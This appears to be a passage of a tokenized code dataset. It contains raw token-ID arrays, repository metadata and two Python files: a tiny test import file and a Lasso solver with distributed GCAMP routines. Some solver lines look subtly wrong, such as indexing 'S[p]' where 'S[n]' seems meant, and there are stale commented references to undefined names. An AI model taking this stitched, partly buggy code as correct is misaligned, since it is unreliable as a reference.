29871, 396, 29871, 31407, 30742, 31810, 30767, 233, 155, 184, 31685, 13, 1678, 4876, 353, 4833, 29889, 4409, 29898, 2585, 29889, 1231, 29898, 29941, 29906, 511, 1870, 519, 29922, 5574, 29897, 29871, 396, 29871, 236, 133, 177, 234, 177, 180, 13, 1678, 4714, 353, 4833, 29889, 4409, 29898, 2585, 29889, 1231, 29898, 29896, 29953, 511, 1870, 519, 29922, 5574, 29897, 29871, 396, 29871, 233, 184, 146, 235, 170, 139, 30943, 13, 1678, 2897, 29918, 978, 353, 4833, 29889, 4409, 29898, 2585, 29889, 1231, 29898, 29896, 29953, 511, 1870, 519, 29922, 5574, 29897, 29871, 396, 29871, 31904, 30732, 31185, 31675, 13, 1678, 2793, 353, 4833, 29889, 4409, 29898, 2585, 29889, 1626, 29892, 1870, 519, 29922, 8824, 29897, 29871, 396, 29871, 234, 152, 156, 31243, 30728, 31294, 13, 1678, 1487, 29918, 333, 353, 4833, 29889, 4409, 29898, 2585, 29889, 7798, 29892, 4833, 29889, 27755, 2558, 703, 3888, 29918, 29887, 2909, 29889, 333, 613, 373, 8143, 2433, 29907, 3289, 5454, 2287, 8785, 29871, 396, 29871, 30688, 235, 178, 135, 235, 177, 189, 333, 13, 1678, 1487, 353, 4833, 29889, 2674, 800, 4034, 703, 29954, 2909, 613, 7592, 29918, 2975, 11759, 333, 2314, 29871, 396, 29871, 30688, 31057, 31986, 13, 13, 1678, 396, 29871, 30872, 30669, 30354, 30763, 31700, 30746, 31795, 31183, 30525, 30607, 30573, 9420, 29947, 8337, 29946, 13, 1678, 4770, 2371, 29918, 5085, 1649, 353, 426, 13, 4706, 376, 7938, 29918, 3090, 842, 1115, 376, 9420, 29947, 8337, 29946, 29908, 13, 1678, 500, 13, 13, 1678, 822, 304, 29918, 8977, 29898, 1311, 1125, 13, 4706, 4613, 29918, 8977, 353, 426, 13, 9651, 376, 333, 1115, 1583, 29889, 333, 29892, 13, 9651, 376, 666, 1115, 1583, 29889, 666, 565, 1583, 29889, 666, 1683, 376, 29896, 29906, 29955, 29889, 29900, 29889, 29900, 29889, 29896, 613, 13, 9651, 376, 2492, 1115, 376, 1124, 597, 7312, 29889, 29916, 423, 359, 273, 446, 29916, 292, 29889, 510, 29914, 29943, 29895, 29979, 19988, 29880, 29933, 29946, 29519, 29947, 29887, 29900, 13079, 29906, 29873, 29939, 29918, 29916, 6814, 29895, 29945, 29874, 3960, 29891, 613, 13, 9651, 376, 15965, 1115, 1583, 29889, 15965, 565, 1583, 29889, 15965, 1683, 12633, 13, 9651, 376, 359, 29918, 978, 1115, 1583, 29889, 359, 29918, 978, 565, 1583, 29889, 359, 29918, 978, 1683, 12633, 13, 9651, 376, 2230, 1115, 1583, 29889, 3258, 29918, 2230, 29889, 710, 615, 603, 11702, 29979, 19222, 29885, 19222, 29881, 1273, 29950, 16664, 29924, 16664, 29903, 4968, 13, 9651, 376, 3445, 368, 1170, 1115, 1583, 29889, 3445, 368, 1170, 565, 1583, 29889, 3445, 368, 1170, 1683, 376, 234, 134, 176, 30869, 31222, 30855, 613, 13, 9651, 396, 376, 3051, 1115, 1583, 29889, 3051, 29892, 13, 9651, 376, 3051, 1115, 1583, 29889, 3051, 29889, 6506, 877, 29966, 742, 525, 877, 29897, 565, 12801, 29915, 297, 1583, 29889, 3051, 1683, 1583, 29889, 3051, 29892, 13, 9651, 376, 3445, 368, 8434, 1115, 518, 1311, 29889, 1100, 29889, 517, 29918, 8977, 580, 29962, 565, 1583, 29889, 1100, 1683, 12633, 13, 9651, 376, 915, 5612, 368, 1170, 1115, 1583, 29889, 915, 5612, 368, 1170, 565, 1583, 29889, 915, 5612, 368, 1170, 1683, 376, 234, 134, 176, 30869, 31222, 30855, 613, 13, 9651, 376, 3258, 29918, 2230, 1115, 1583, 29889, 3258, 29918, 2230, 29892, 13, 4706, 500, 13, 4706, 736, 4613, 29918, 8977, 13, 13, 2 ]
tests/test_function.py
aroberge/nonstandard
2
186050
from .common import nonstandard from .function_testfile import *
[ 1, 515, 869, 9435, 1053, 1661, 15770, 13, 3166, 869, 2220, 29918, 1688, 1445, 1053, 334, 13, 13, 2 ]
lassolver/utils/func.py
Ken529n/Lassolver
0
104103
import numpy as np from scipy.stats import truncnorm, norm def soft_threshold(r, gamma): """ soft-thresholding function """ return np.maximum(np.abs(r) - gamma, 0.0) * np.sign(r) def df(r, gamma): """ divergence-free function """ eta = soft_threshold(r, gamma) return eta - np.mean(eta != 0) * r def GCAMP(w, beta, log=False): shita = 0.7 communication_cost = 0 P, N, _ = w.shape T = beta * shita / (P-1) R = np.zeros((P, N, 1)) z = np.zeros((N, 1)) #STEP1 for p in range(1, P): R[p] = np.abs(w[p]) > T candidate = np.where(R[p])[0] for n in candidate: communication_cost += 1 send_to1(n, w[p, n]) #STEP2 S = [np.where(R[:, n])[0] for n in range(N)] m = np.sum(R, axis=0) U = np.empty((N, 1)) for n in range(N): upper = (P - 1 - m[n]) * T z[n] = w[0, n] + np.sum([w[p, n] for p in S[n]]) U[n] = np.abs(z[n]) + upper F = (U > beta) * (m < (P-1)) candidate = np.where(F)[0] for n in candidate: communication_cost += 1 broadcast_others(n) #STEP3 F_R = F * np.logical_not(R) for p in range(1, P): #print("p: {}".format(p)) candidate = np.where(F_R[p])[0] for n in candidate: communication_cost += 1 send_to1(n ,w[p, n]) if log: print("Rp: {} \t F: {} \t F\\Rp: {}".format(np.sum(R), np.sum(F), np.sum(F_R)-np.sum(F))) print("Total Communication Cost: {}".format(communication_cost)) print("="*50) #STEP4 s = np.zeros((N, 1)) b = np.zeros((N, 1)) V = np.where(U > beta)[0].tolist() for n in V: b[n] = np.sum(w[:, n]) s[n] = soft_threshold(b[n], beta) return s.real, communication_cost def GCAMP_exp(w, tau_p, log=False): shita = 0.7 tau = np.sum(tau_p) communication_cost = 0 P, N, _ = w.shape R = np.zeros((P, N, 1)) #STEP1 for p in range(1, P): R[p] = np.square(w[p]) > tau_p[p] * shita candidate = np.where(R[p])[0] for n in candidate: communication_cost += 1 send_to1(n, w[p, n]) #STEP2 S = [np.where(R[:, n])[0] for n in range(N)] m = np.sum(R, axis=0) U = np.empty((N, 1)) for n in range(N): upper = np.sum([tau_p[p] for p in range(1, P) if p not in S[p]]) U[n] = (w[0, n] + np.sum(w[p, n] for p in S[n]))**2 + upper * shita F = (U > tau) * (m < (P-1)) candidate = np.where(F)[0] for n in candidate: communication_cost += 1 broadcast_others(n) #STEP3 F_R = F * np.logical_not(R) for p in range(1, P): #print("p: {}".format(p)) candidate = np.where(F_R[p])[0] for n in candidate: communication_cost += 1 send_to1(n ,w[p, n]) if log: print("Rp: {} \t F: {} \t F\\Rp: {}".format(np.sum(R), np.sum(F), np.sum(F_R)-np.sum(F))) print("Total Communication Cost: {}".format(communication_cost)) print("="*50) #STEP4 s = np.zeros((N, 1)) V = np.where(U > tau)[0].tolist() for n in V: w_sum = np.sum(w[:, n]) s[n] = soft_threshold(w_sum, tau**0.5) return s.real, communication_cost def send_to1(n, w): #print("n: {}, w: {}".format(n, w)) pass def broadcast_others(n): #print("n: {}".format(n)) pass def GCOAMP(w, tau_p, log=False): shita = 0.7 tau = np.sum(tau_p) communication_cost = 0 P, N, _ = w.shape R = np.zeros((P, N, 1)) z = [0] * N #STEP1 for p in range(1, P): R[p] = np.square(w[p]) > tau_p[p] * shita candidate = np.where(R[p])[0] for n in candidate: communication_cost += 1 send_to1(n, w[p, n]) #STEP2 S = [np.where(R[:, n])[0] for n in range(N)] m = np.sum(R, axis=0) U = np.empty((N, 1)) for n in range(N): upper = np.sum([tau_p[p] for p in range(1, P) if p not in S[p]]) z[n] = w[0, n] + np.sum([w[p, n] for p in S[n]]) U[n] = z[n]**2 + upper * shita F = (U > tau) * (m < (P-1)) candidate = np.where(F)[0] for n in candidate: communication_cost += 1 broadcast_others(n) #STEP3 F_R = F * np.logical_not(R) for p in range(1, P): #print("p: {}".format(p)) candidate = np.where(F_R[p])[0] for n in candidate: communication_cost += 1 send_to1(n ,w[p, n]) if log: print("Rp: {} \t F: {} \t F\\Rp: {}".format(np.sum(R), np.sum(F), np.sum(F_R)-np.sum(F))) print("Total Communication Cost: {}".format(communication_cost)) print("="*50) #STEP4 u = np.zeros((N, 1)) b = np.zeros((N, 1)) V = np.where(U > tau)[0].tolist() for n in V: b[n] = np.sum(w[:, n]) u[n] = soft_threshold(b[n], tau**0.5) #STEP5 #if approx: rand = beta * truncnorm.rvs(-1, 1, loc=0, scale=1, size=N-K) #else : rand = Rrandom(u, beta, K)#(tau - tau_p[0])**0.5 * truncnorm.rvs(-1, 1, loc=0, scale=1, size=N-K) Vc = [n for n in range(N) if n not in V] for n in Vc: b[n] = z[n] b[n] += np.sum([rand(shita * tau_p[p]) for p in range(1, P) if p not in S[n]]) s = u - np.mean(u != 0)*b return s.real, communication_cost def rand(tau): return tau**0.5 * truncnorm.rvs(-1, 1, loc=0, scale=1, size=1) def Rrandom(u, t, K): N = u.shape[0] u0 = np.histogram(u, bins=N) Pu = u0[0]/N Pu = np.append(Pu, 0) u1 = u0[1] phi = lambda x: norm.pdf((x-u1)/t)/t maxu = np.argmax(Pu) phi_x = phi(u1[maxu]) max = np.max(np.sum(Pu * phi_x)) rand = np.empty(N-K) for i in range(N-K): while True: x, y = np.random.rand(2) a = -t + 2*t*x phi_a = phi(a) A = np.sum(Pu * phi_a) if max*y <= A: rand[i] = a break return rand
[ 1, 1053, 12655, 408, 7442, 30004, 13, 3166, 4560, 2272, 29889, 16202, 1053, 21022, 12324, 29892, 6056, 30004, 13, 30004, 13, 30004, 13, 1753, 4964, 29918, 386, 12268, 29898, 29878, 29892, 330, 2735, 1125, 30004, 13, 1678, 9995, 30004, 13, 1678, 4964, 29899, 386, 12268, 292, 740, 30004, 13, 1678, 9995, 30004, 13, 1678, 736, 7442, 29889, 27525, 398, 29898, 9302, 29889, 6897, 29898, 29878, 29897, 448, 330, 2735, 29892, 29871, 29900, 29889, 29900, 29897, 334, 7442, 29889, 4530, 29898, 29878, 8443, 13, 30004, 13, 30004, 13, 1753, 4489, 29898, 29878, 29892, 330, 2735, 1125, 30004, 13, 1678, 9995, 30004, 13, 1678, 17089, 10238, 29899, 9021, 740, 30004, 13, 1678, 9995, 30004, 13, 1678, 634, 29874, 353, 4964, 29918, 386, 12268, 29898, 29878, 29892, 330, 2735, 8443, 13, 1678, 736, 634, 29874, 448, 7442, 29889, 12676, 29898, 1187, 2804, 29871, 29900, 29897, 334, 364, 30004, 13, 30004, 13, 30004, 13, 1753, 402, 5454, 3580, 29898, 29893, 29892, 21762, 29892, 1480, 29922, 8824, 1125, 30004, 13, 1678, 528, 2028, 353, 29871, 29900, 29889, 29955, 30004, 13, 1678, 12084, 29918, 18253, 353, 29871, 29900, 30004, 13, 1678, 349, 29892, 405, 29892, 903, 353, 281, 29889, 12181, 30004, 13, 1678, 323, 353, 21762, 334, 528, 2028, 847, 313, 29925, 29899, 29896, 8443, 13, 1678, 390, 353, 7442, 29889, 3298, 359, 3552, 29925, 29892, 405, 29892, 29871, 29896, 876, 30004, 13, 1678, 503, 353, 7442, 29889, 3298, 359, 3552, 29940, 29892, 29871, 29896, 876, 30004, 13, 1678, 6756, 13, 1678, 396, 1254, 15488, 29896, 30004, 13, 1678, 363, 282, 297, 3464, 29898, 29896, 29892, 349, 1125, 30004, 13, 4706, 390, 29961, 29886, 29962, 353, 7442, 29889, 6897, 29898, 29893, 29961, 29886, 2314, 1405, 323, 30004, 13, 4706, 14020, 353, 7442, 29889, 3062, 29898, 29934, 29961, 29886, 2314, 29961, 29900, 29962, 30004, 13, 4706, 363, 302, 297, 14020, 29901, 30004, 13, 9651, 12084, 29918, 18253, 4619, 29871, 29896, 30004, 13, 9651, 3638, 29918, 517, 29896, 29898, 29876, 29892, 281, 29961, 29886, 29892, 302, 2314, 30004, 13, 1678, 6756, 13, 1678, 396, 1254, 15488, 29906, 30004, 13, 1678, 317, 353, 518, 9302, 29889, 3062, 29898, 29934, 7503, 29892, 302, 2314, 29961, 29900, 29962, 363, 302, 297, 3464, 29898, 29940, 4638, 30004, 13, 1678, 286, 353, 7442, 29889, 2083, 29898, 29934, 29892, 9685, 29922, 29900, 8443, 13, 1678, 501, 353, 7442, 29889, 6310, 3552, 29940, 29892, 29871, 29896, 876, 30004, 13, 1678, 363, 302, 297, 3464, 29898, 29940, 1125, 30004, 13, 4706, 7568, 353, 313, 29925, 448, 29871, 29896, 448, 286, 29961, 29876, 2314, 334, 323, 30004, 13, 4706, 503, 29961, 29876, 29962, 353, 281, 29961, 29900, 29892, 302, 29962, 718, 7442, 29889, 2083, 4197, 29893, 29961, 29886, 29892, 302, 29962, 363, 282, 297, 317, 29961, 29876, 24960, 30004, 13, 4706, 501, 29961, 29876, 29962, 353, 7442, 29889, 6897, 29898, 29920, 29961, 29876, 2314, 718, 7568, 30004, 13, 1678, 383, 353, 313, 29965, 1405, 21762, 29897, 334, 313, 29885, 529, 313, 29925, 29899, 29896, 876, 30004, 13, 1678, 14020, 353, 7442, 29889, 3062, 29898, 29943, 9601, 29900, 29962, 30004, 13, 1678, 363, 302, 297, 14020, 29901, 30004, 13, 4706, 12084, 29918, 18253, 4619, 29871, 29896, 30004, 13, 4706, 12672, 29918, 720, 414, 29898, 29876, 8443, 13, 1678, 6756, 13, 1678, 396, 1254, 15488, 29941, 30004, 13, 1678, 383, 29918, 29934, 353, 383, 334, 7442, 29889, 1188, 936, 29918, 1333, 29898, 29934, 8443, 13, 1678, 363, 282, 297, 3464, 29898, 29896, 29892, 349, 1125, 30004, 13, 4706, 396, 2158, 703, 29886, 29901, 6571, 1642, 4830, 29898, 29886, 876, 30004, 13, 4706, 14020, 353, 7442, 29889, 3062, 29898, 29943, 29918, 29934, 29961, 29886, 2314, 29961, 29900, 29962, 30004, 13, 4706, 363, 302, 297, 14020, 29901, 30004, 13, 9651, 12084, 29918, 18253, 4619, 29871, 29896, 30004, 13, 9651, 3638, 29918, 517, 29896, 29898, 29876, 1919, 29893, 29961, 29886, 29892, 302, 2314, 30004, 13, 1678, 565, 1480, 29901, 6756, 13, 4706, 1596, 703, 29934, 29886, 29901, 6571, 320, 29873, 383, 29901, 6571, 320, 29873, 383, 1966, 29934, 29886, 29901, 6571, 1642, 4830, 29898, 9302, 29889, 2083, 29898, 29934, 511, 7442, 29889, 2083, 29898, 29943, 511, 7442, 29889, 2083, 29898, 29943, 29918, 29934, 6817, 9302, 29889, 2083, 29898, 29943, 4961, 30004, 13, 4706, 1596, 703, 11536, 22365, 362, 9839, 29901, 6571, 1642, 4830, 29898, 27820, 362, 29918, 18253, 876, 30004, 13, 4706, 1596, 703, 543, 29930, 29945, 29900, 8443, 13, 1678, 6756, 13, 1678, 396, 1254, 15488, 29946, 30004, 13, 1678, 269, 353, 7442, 29889, 3298, 359, 3552, 29940, 29892, 29871, 29896, 876, 30004, 13, 1678, 289, 353, 7442, 29889, 3298, 359, 3552, 29940, 29892, 29871, 29896, 876, 30004, 13, 1678, 478, 353, 7442, 29889, 3062, 29898, 29965, 1405, 21762, 9601, 29900, 1822, 25027, 391, 26471, 13, 1678, 363, 302, 297, 478, 29901, 30004, 13, 4706, 289, 29961, 29876, 29962, 353, 7442, 29889, 2083, 29898, 29893, 7503, 29892, 302, 2314, 30004, 13, 4706, 269, 29961, 29876, 29962, 353, 4964, 29918, 386, 12268, 29898, 29890, 29961, 29876, 1402, 21762, 8443, 13, 1678, 6756, 13, 1678, 736, 269, 29889, 6370, 29892, 12084, 29918, 18253, 30004, 13, 30004, 13, 30004, 13, 1753, 402, 5454, 3580, 29918, 4548, 29898, 29893, 29892, 260, 585, 29918, 29886, 29892, 1480, 29922, 8824, 1125, 30004, 13, 1678, 528, 2028, 353, 29871, 29900, 29889, 29955, 30004, 13, 1678, 260, 585, 353, 7442, 29889, 2083, 29898, 4722, 29918, 29886, 8443, 13, 1678, 12084, 29918, 18253, 353, 29871, 29900, 30004, 13, 1678, 349, 29892, 405, 29892, 903, 353, 281, 29889, 12181, 30004, 13, 1678, 390, 353, 7442, 29889, 3298, 359, 3552, 29925, 29892, 405, 29892, 29871, 29896, 876, 30004, 13, 1678, 6756, 13, 1678, 396, 1254, 15488, 29896, 30004, 13, 1678, 363, 282, 297, 3464, 29898, 29896, 29892, 349, 1125, 30004, 13, 4706, 390, 29961, 29886, 29962, 353, 7442, 29889, 17619, 29898, 29893, 29961, 29886, 2314, 1405, 260, 585, 29918, 29886, 29961, 29886, 29962, 334, 528, 2028, 30004, 13, 4706, 14020, 353, 7442, 29889, 3062, 29898, 29934, 29961, 29886, 2314, 29961, 29900, 29962, 30004, 13, 4706, 363, 302, 297, 14020, 29901, 30004, 13, 9651, 12084, 29918, 18253, 4619, 29871, 29896, 30004, 13, 9651, 3638, 29918, 517, 29896, 29898, 29876, 29892, 281, 29961, 29886, 29892, 302, 2314, 30004, 13, 1678, 6756, 13, 1678, 396, 1254, 15488, 29906, 30004, 13, 1678, 317, 353, 518, 9302, 29889, 3062, 29898, 29934, 7503, 29892, 302, 2314, 29961, 29900, 29962, 363, 302, 297, 3464, 29898, 29940, 4638, 30004, 13, 1678, 286, 353, 7442, 29889, 2083, 29898, 29934, 29892, 9685, 29922, 29900, 8443, 13, 1678, 501, 353, 7442, 29889, 6310, 3552, 29940, 29892, 29871, 29896, 876, 30004, 13, 1678, 363, 302, 297, 3464, 29898, 29940, 1125, 30004, 13, 4706, 7568, 353, 7442, 29889, 2083, 4197, 4722, 29918, 29886, 29961, 29886, 29962, 363, 282, 297, 3464, 29898, 29896, 29892, 349, 29897, 565, 282, 451, 297, 317, 29961, 29886, 24960, 30004, 13, 4706, 501, 29961, 29876, 29962, 353, 313, 29893, 29961, 29900, 29892, 302, 29962, 718, 7442, 29889, 2083, 29898, 29893, 29961, 29886, 29892, 302, 29962, 363, 282, 297, 317, 29961, 29876, 12622, 1068, 29906, 718, 7568, 334, 528, 2028, 30004, 13, 1678, 383, 353, 313, 29965, 1405, 260, 585, 29897, 334, 313, 29885, 529, 313, 29925, 29899, 29896, 876, 30004, 13, 1678, 14020, 353, 7442, 29889, 3062, 29898, 29943, 9601, 29900, 29962, 30004, 13, 1678, 363, 302, 297, 14020, 29901, 30004, 13, 4706, 12084, 29918, 18253, 4619, 29871, 29896, 30004, 13, 4706, 12672, 29918, 720, 414, 29898, 29876, 8443, 13, 1678, 6756, 13, 1678, 396, 1254, 15488, 29941, 30004, 13, 1678, 383, 29918, 29934, 353, 383, 334, 7442, 29889, 1188, 936, 29918, 1333, 29898, 29934, 8443, 13, 1678, 363, 282, 297, 3464, 29898, 29896, 29892, 349, 1125, 30004, 13, 4706, 396, 2158, 703, 29886, 29901, 6571, 1642, 4830, 29898, 29886, 876, 30004, 13, 4706, 14020, 353, 7442, 29889, 3062, 29898, 29943, 29918, 29934, 29961, 29886, 2314, 29961, 29900, 29962, 30004, 13, 4706, 363, 302, 297, 14020, 29901, 30004, 13, 9651, 12084, 29918, 18253, 4619, 29871, 29896, 30004, 13, 9651, 3638, 29918, 517, 29896, 29898, 29876, 1919, 29893, 29961, 29886, 29892, 302, 2314, 30004, 13, 1678, 565, 1480, 29901, 6756, 13, 4706, 1596, 703, 29934, 29886, 29901, 6571, 320, 29873, 383, 29901, 6571, 320, 29873, 383, 1966, 29934, 29886, 29901, 6571, 1642, 4830, 29898, 9302, 29889, 2083, 29898, 29934, 511, 7442, 29889, 2083, 29898, 29943, 511, 7442, 29889, 2083, 29898, 29943, 29918, 29934, 6817, 9302, 29889, 2083, 29898, 29943, 4961, 30004, 13, 4706, 1596, 703, 11536, 22365, 362, 9839, 29901, 6571, 1642, 4830, 29898, 27820, 362, 29918, 18253, 876, 30004, 13, 4706, 1596, 703, 543, 29930, 29945, 29900, 8443, 13, 30004, 13, 1678, 396, 1254, 15488, 29946, 30004, 13, 1678, 269, 353, 7442, 29889, 3298, 359, 3552, 29940, 29892, 29871, 29896, 876, 30004, 13, 1678, 478, 353, 7442, 29889, 3062, 29898, 29965, 1405, 260, 585, 9601, 29900, 1822, 25027, 391, 26471, 13, 1678, 363, 302, 297, 478, 29901, 30004, 13, 4706, 281, 29918, 2083, 353, 7442, 29889, 2083, 29898, 29893, 7503, 29892, 302, 2314, 30004, 13, 4706, 269, 29961, 29876, 29962, 353, 4964, 29918, 386, 12268, 29898, 29893, 29918, 2083, 29892, 260, 585, 1068, 29900, 29889, 29945, 8443, 13, 1678, 736, 269, 29889, 6370, 29892, 12084, 29918, 18253, 30004, 13, 30004, 13, 30004, 13, 1753, 3638, 29918, 517, 29896, 29898, 29876, 29892, 281, 1125, 30004, 13, 1678, 396, 2158, 703, 29876, 29901, 24335, 281, 29901, 6571, 1642, 4830, 29898, 29876, 29892, 281, 876, 30004, 13, 1678, 1209, 30004, 13, 30004, 13, 30004, 13, 1753, 12672, 29918, 720, 414, 29898, 29876, 1125, 30004, 13, 1678, 396, 2158, 703, 29876, 29901, 6571, 1642, 4830, 29898, 29876, 876, 30004, 13, 1678, 1209, 30004, 13, 30004, 13, 30004, 13, 1753, 402, 3217, 19297, 29898, 29893, 29892, 260, 585, 29918, 29886, 29892, 1480, 29922, 8824, 1125, 30004, 13, 1678, 528, 2028, 353, 29871, 29900, 29889, 29955, 30004, 13, 1678, 260, 585, 353, 7442, 29889, 2083, 29898, 4722, 29918, 29886, 8443, 13, 1678, 12084, 29918, 18253, 353, 29871, 29900, 30004, 13, 1678, 349, 29892, 405, 29892, 903, 353, 281, 29889, 12181, 30004, 13, 1678, 390, 353, 7442, 29889, 3298, 359, 3552, 29925, 29892, 405, 29892, 29871, 29896, 876, 30004, 13, 1678, 503, 353, 518, 29900, 29962, 334, 405, 30004, 13, 1678, 6756, 13, 1678, 396, 1254, 15488, 29896, 30004, 13, 1678, 363, 282, 297, 3464, 29898, 29896, 29892, 349, 1125, 30004, 13, 4706, 390, 29961, 29886, 29962, 353, 7442, 29889, 17619, 29898, 29893, 29961, 29886, 2314, 1405, 260, 585, 29918, 29886, 29961, 29886, 29962, 334, 528, 2028, 30004, 13, 4706, 14020, 353, 7442, 29889, 3062, 29898, 29934, 29961, 29886, 2314, 29961, 29900, 29962, 30004, 13, 4706, 363, 302, 297, 14020, 29901, 30004, 13, 9651, 12084, 29918, 18253, 4619, 29871, 29896, 30004, 13, 9651, 3638, 29918, 517, 29896, 29898, 29876, 29892, 281, 29961, 29886, 29892, 302, 2314, 30004, 13, 1678, 6756, 13, 1678, 396, 1254, 15488, 29906, 30004, 13, 1678, 317, 353, 518, 9302, 29889, 3062, 29898, 29934, 7503, 29892, 302, 2314, 29961, 29900, 29962, 363, 302, 297, 3464, 29898, 29940, 4638, 30004, 13, 1678, 286, 353, 7442, 29889, 2083, 29898, 29934, 29892, 9685, 29922, 29900, 8443, 13, 1678, 501, 353, 7442, 29889, 6310, 3552, 29940, 29892, 29871, 29896, 876, 30004, 13, 1678, 363, 302, 297, 3464, 29898, 29940, 1125, 30004, 13, 4706, 7568, 353, 7442, 29889, 2083, 4197, 4722, 29918, 29886, 29961, 29886, 29962, 363, 282, 297, 3464, 29898, 29896, 29892, 349, 29897, 565, 282, 451, 297, 317, 29961, 29886, 24960, 30004, 13, 4706, 503, 29961, 29876, 29962, 353, 281, 29961, 29900, 29892, 302, 29962, 718, 7442, 29889, 2083, 4197, 29893, 29961, 29886, 29892, 302, 29962, 363, 282, 297, 317, 29961, 29876, 24960, 30004, 13, 4706, 501, 29961, 29876, 29962, 353, 503, 29961, 29876, 29962, 1068, 29906, 718, 7568, 334, 528, 2028, 30004, 13, 1678, 383, 353, 313, 29965, 1405, 260, 585, 29897, 334, 313, 29885, 529, 313, 29925, 29899, 29896, 876, 30004, 13, 1678, 14020, 353, 7442, 29889, 3062, 29898, 29943, 9601, 29900, 29962, 30004, 13, 1678, 363, 302, 297, 14020, 29901, 30004, 13, 4706, 12084, 29918, 18253, 4619, 29871, 29896, 30004, 13, 4706, 12672, 29918, 720, 414, 29898, 29876, 8443, 13, 1678, 6756, 13, 1678, 396, 1254, 15488, 29941, 30004, 13, 1678, 383, 29918, 29934, 353, 383, 334, 7442, 29889, 1188, 936, 29918, 1333, 29898, 29934, 8443, 13, 1678, 363, 282, 297, 3464, 29898, 29896, 29892, 349, 1125, 30004, 13, 4706, 396, 2158, 703, 29886, 29901, 6571, 1642, 4830, 29898, 29886, 876, 30004, 13, 4706, 14020, 353, 7442, 29889, 3062, 29898, 29943, 29918, 29934, 29961, 29886, 2314, 29961, 29900, 29962, 30004, 13, 4706, 363, 302, 297, 14020, 29901, 30004, 13, 9651, 12084, 29918, 18253, 4619, 29871, 29896, 30004, 13, 9651, 3638, 29918, 517, 29896, 29898, 29876, 1919, 29893, 29961, 29886, 29892, 302, 2314, 30004, 13, 1678, 565, 1480, 29901, 6756, 13, 4706, 1596, 703, 29934, 29886, 29901, 6571, 320, 29873, 383, 29901, 6571, 320, 29873, 383, 1966, 29934, 29886, 29901, 6571, 1642, 4830, 29898, 9302, 29889, 2083, 29898, 29934, 511, 7442, 29889, 2083, 29898, 29943, 511, 7442, 29889, 2083, 29898, 29943, 29918, 29934, 6817, 9302, 29889, 2083, 29898, 29943, 4961, 30004, 13, 4706, 1596, 703, 11536, 22365, 362, 9839, 29901, 6571, 1642, 4830, 29898, 27820, 362, 29918, 18253, 876, 30004, 13, 4706, 1596, 703, 543, 29930, 29945, 29900, 8443, 13, 1678, 6756, 13, 1678, 396, 1254, 15488, 29946, 30004, 13, 1678, 318, 353, 7442, 29889, 3298, 359, 3552, 29940, 29892, 29871, 29896, 876, 30004, 13, 1678, 289, 353, 7442, 29889, 3298, 359, 3552, 29940, 29892, 29871, 29896, 876, 30004, 13, 1678, 478, 353, 7442, 29889, 3062, 29898, 29965, 1405, 260, 585, 9601, 29900, 1822, 25027, 391, 26471, 13, 1678, 363, 302, 297, 478, 29901, 30004, 13, 4706, 289, 29961, 29876, 29962, 353, 7442, 29889, 2083, 29898, 29893, 7503, 29892, 302, 2314, 30004, 13, 4706, 318, 29961, 29876, 29962, 353, 4964, 29918, 386, 12268, 29898, 29890, 29961, 29876, 1402, 260, 585, 1068, 29900, 29889, 29945, 8443, 13, 1678, 6756, 13, 1678, 396, 1254, 15488, 29945, 30004, 13, 1678, 396, 361, 2134, 29916, 29901, 20088, 353, 21762, 334, 21022, 12324, 29889, 29878, 4270, 6278, 29896, 29892, 29871, 29896, 29892, 1180, 29922, 29900, 29892, 6287, 29922, 29896, 29892, 2159, 29922, 29940, 29899, 29968, 8443, 13, 1678, 396, 2870, 584, 20088, 353, 390, 8172, 29898, 29884, 29892, 21762, 29892, 476, 29897, 29937, 29898, 4722, 448, 260, 585, 29918, 29886, 29961, 29900, 2314, 1068, 29900, 29889, 29945, 334, 21022, 12324, 29889, 29878, 4270, 6278, 29896, 29892, 29871, 29896, 29892, 1180, 29922, 29900, 29892, 6287, 29922, 29896, 29892, 2159, 29922, 29940, 29899, 29968, 8443, 13, 1678, 478, 29883, 353, 518, 29876, 363, 302, 297, 3464, 29898, 29940, 29897, 565, 302, 451, 297, 478, 29962, 30004, 13, 1678, 363, 302, 297, 478, 29883, 29901, 30004, 13, 4706, 289, 29961, 29876, 29962, 353, 503, 29961, 29876, 29962, 30004, 13, 4706, 289, 29961, 29876, 29962, 4619, 7442, 29889, 2083, 4197, 9502, 29898, 845, 2028, 334, 260, 585, 29918, 29886, 29961, 29886, 2314, 363, 282, 297, 3464, 29898, 29896, 29892, 349, 29897, 565, 282, 451, 297, 317, 29961, 29876, 24960, 30004, 13, 4706, 6756, 13, 1678, 269, 353, 318, 448, 7442, 29889, 12676, 29898, 29884, 2804, 29871, 29900, 11877, 29890, 30004, 13, 1678, 736, 269, 29889, 6370, 29892, 12084, 29918, 18253, 30004, 13, 30004, 13, 30004, 13, 1753, 20088, 29898, 4722, 1125, 30004, 13, 1678, 736, 260, 585, 1068, 29900, 29889, 29945, 334, 21022, 12324, 29889, 29878, 4270, 6278, 29896, 29892, 29871, 29896, 29892, 1180, 29922, 29900, 29892, 6287, 29922, 29896, 29892, 2159, 29922, 29896, 8443, 13, 30004, 13, 30004, 13, 1753, 390, 8172, 29898, 29884, 29892, 260, 29892, 476, 1125, 30004, 13, 1678, 405, 353, 318, 29889, 12181, 29961, 29900, 29962, 30004, 13, 1678, 6756, 13, 1678, 318, 29900, 353, 7442, 29889, 29882, 391, 13342, 29898, 29884, 29892, 289, 1144, 29922, 29940, 8443, 13, 1678, 12129, 353, 318, 29900, 29961, 29900, 16261, 29940, 30004, 13, 1678, 12129, 353, 7442, 29889, 4397, 29898, 29925, 29884, 29892, 29871, 29900, 8443, 13, 1678, 318, 29896, 353, 318, 29900, 29961, 29896, 29962, 30004, 13, 30004, 13, 1678, 1374, 29875, 353, 14013, 921, 29901, 6056, 29889, 5140, 3552, 29916, 29899, 29884, 29896, 6802, 29873, 6802, 29873, 30004, 13, 30004, 13, 1678, 4236, 29884, 353, 7442, 29889, 1191, 3317, 29898, 29925, 29884, 8443, 13, 1678, 1374, 29875, 29918, 29916, 353, 1374, 29875, 29898, 29884, 29896, 29961, 3317, 29884, 2314, 30004, 13, 1678, 4236, 353, 7442, 29889, 3317, 29898, 9302, 29889, 2083, 29898, 29925, 29884, 334, 1374, 29875, 29918, 29916, 876, 30004, 13, 1678, 20088, 353, 7442, 29889, 6310, 29898, 29940, 29899, 29968, 8443, 13, 30004, 13, 1678, 363, 474, 297, 3464, 29898, 29940, 29899, 29968, 1125, 30004, 13, 4706, 1550, 5852, 29901, 30004, 13, 9651, 921, 29892, 343, 353, 7442, 29889, 8172, 29889, 9502, 29898, 29906, 8443, 13, 9651, 263, 353, 448, 29873, 718, 29871, 29906, 29930, 29873, 29930, 29916, 